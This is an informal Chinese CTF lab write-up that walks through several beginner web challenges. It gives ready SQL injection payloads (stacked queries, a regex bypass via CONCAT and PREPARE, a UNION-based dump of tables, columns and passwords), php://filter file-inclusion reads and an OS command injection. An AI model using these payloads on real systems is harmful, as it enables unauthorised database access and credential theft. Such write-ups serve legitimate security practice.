CTF靶场记录
-
EasySQL,第一反应就是sql注入,别问为啥,问就是因为我流批直接后面丢sql注释就完了
-
随便注,第一反应还是sql注入,直接丢个
1;show databases
emmm好使了,那就接着读表吧
表出来就直接读字段就完了
1-1';show columns from 1919810931114514#
后台有正则验证,直接大小写加拼接绕过即可
-1';Set @sql = CONCAT('se','lect * from 1919810931114514;');Prepare stmt from @sql;EXECUTE stmt;#
-
Havefun进来就看着个这玩意
这时候必备的前端技能来了,直接右键检查,看到flag字段没
直接构造payload:
/?cat=dog
flag就出来了,简简单单
-
EasySQL不多墨迹,调整mysql 的sql_mode,payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
-
Include,直接点tips,看到url这不就是文件包含,flag.php,那就想办法把源码读出来就完了呗
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
读出来的东西直接base64解码就完了
-
Secret File,一进来,卧槽,这什么玩意???
想了想,继续我的f12大法,嗯哼,发现了一个文件,小老弟,我可是做过前端开发的
点一下,一闪而过,嘿,你还没头了,burp直接抓包,一点不带惯着的
又让我逮到了吧,访问他就完了呗,结果又给我整出来代码了,真想抽出我四十米的大砍刀,算了,出题的表哥我应该打不过
直接访问flag.php
。。。。。。。。。。。。。。。。。。。。。你到底要干啥
继续我的文件包含大业吧,构造payload:
?file=php://filter/read=convert.base64-encode/resource=./flag.php
。。。。竟然还需要加解密,那就解他就完了呗,一看就是base64,解出来就是这样的:
flag清清楚楚的就摆在那,搞定
-
一打开就是下面这个样子,这个我不是做过吗,这么简单
Login Success! ????不是成功了嘛。。。。
那就想办法爆库爆表爆字段吧:
#查列数 admin' order by 1# #查回显位 -1' union select 1,2,3# #查库 -1' union select 1,2,database()# #查表 -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek'# #查字段 -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'l0ve1ysq1'# #查flag -1' union select 1,2,group_concat(password) from l0ve1ysq1# Copy
-
EXEC,明显的命令执行,带个ls试试:
接下来就翻就完了
127.0.0.1;cat ../../../flag
就先写这些吧,一点难度都没有,莫得意思(开玩笑的,别打我)